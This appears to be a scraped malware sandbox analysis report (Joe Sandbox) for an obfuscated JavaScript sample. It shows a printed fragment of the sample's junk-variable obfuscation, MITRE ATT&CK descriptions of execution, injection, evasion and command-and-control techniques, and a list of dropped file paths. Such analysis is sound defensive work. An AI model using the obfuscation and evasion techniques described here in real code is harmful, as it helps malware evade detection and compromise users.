1538	lvtvbj = "R";
1539	lvtvbj = "P";
1540	lvtvbj = "W";
1541	lvtvbj = "M";
1542	lvtvbj = "z";
1543	lvtvbj = "&";
1544	lqteqg = "o";
1545	lqteqg = "v";
1546	lqteqg = "K";
1547	lqteqg = "E";
1548	lqteqg = "r";
1549	lqteqg = "t";
1550	lqteqg = "L";
1551	lqteqg = "l";
1552	lqteqg = "U";
1553	lqteqg = "Z";
1554	lqteqg = "T";
1555	lqteqg = "p";
1556	lqteqg = "W";
1557	lqteqg = "u";
1558	lqteqg = "o";
1559	lqteqg = "F";
1560	lqteqg = "i";
1561	lqteqg = "m";
1562	lqteqg = "Q";
1563	lqteqg = "a";
1564	lqteqg = "c";
1565	lqteqg = "D";
1566	lqteqg = "Z";
1567	lqteqg = "P";
1568	lqteqg = "2";
1569	npzecn = "Y";
1570	npzecn = "o";
1571	npzecn = "w";
1572	npzecn = "E";
1573	npzecn = "s";
1574	npzecn = "g";
1575	npzecn = "h";
1576	npzecn = "S";
1577	npzecn = "x";
1578	npzecn = "k";
1579	npzecn = "P";
1580	npzecn = "h";
1581	npzecn = "S";
1582	npzecn = "D";
1583	npzecn = "G";
1584	npzecn = "v";
1585	npzecn = "G";
1586	npzecn = "H";
1587	npzecn = "z";
1588	npzecn = "x";
1589	npzecn = "D";
1590	npzecn = "E";
1591	npzecn = "Q";
1592	npzecn = "u";
1593	npzecn = "f";
1594	npzecn = "U";
1595	npzecn = "o";
1596	npzecn = "r";
1597	npzecn = ".";
1598	mweiebqf = "y";
1599	mweiebqf = "P";
1600	mweiebqf = "n";
1601	mweiebqf = "R";
1602	mweiebqf = "m";
1603	mweiebqf = "P";
1604	mweiebqf = "o";
1605	mweiebqf = "M";
1606	mweiebqf = "q";
1607	mweiebqf = "C";
1608	mweiebqf = "m";
1609	mweiebqf = "g";
1610	mweiebqf = "R";
1611	mweiebqf = "m";
1612	mweiebqf = "G";
1613	mweiebqf = "v";
1614	mweiebqf = "n";
1615	mweiebqf = "r";
1616	mweiebqf = "U";
1617	mweiebqf = "Y";
1618	mweiebqf = "z";
1619	mweiebqf = "m";
1620	mweiebqf = "U";
1621	mweiebqf = "p";
1622	mweiebqf = "s";
1623	mweiebqf = "k";
1624	mweiebqf = "P";
1625	mweiebqf = "w";
1626	mweiebqf = "A";
1627	mweiebqf = "J";
1628	mweiebqf = "v";
1629	mweiebqf = "j";
1630	mweiebqf = "R";
1631	mweiebqf = "k";
1632	mweiebqf = "Q";
1633	mweiebqf = "K";
1634	mweiebqf = "L";
1635	ejuafm ( );	ejuafm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 49441311255025245.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\541892dd-641a-4b40-b8e6-23bd25123da1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65a0d320-d886-4c59-904b-57cb59974bb3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF55cad4.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
49441311255025245.js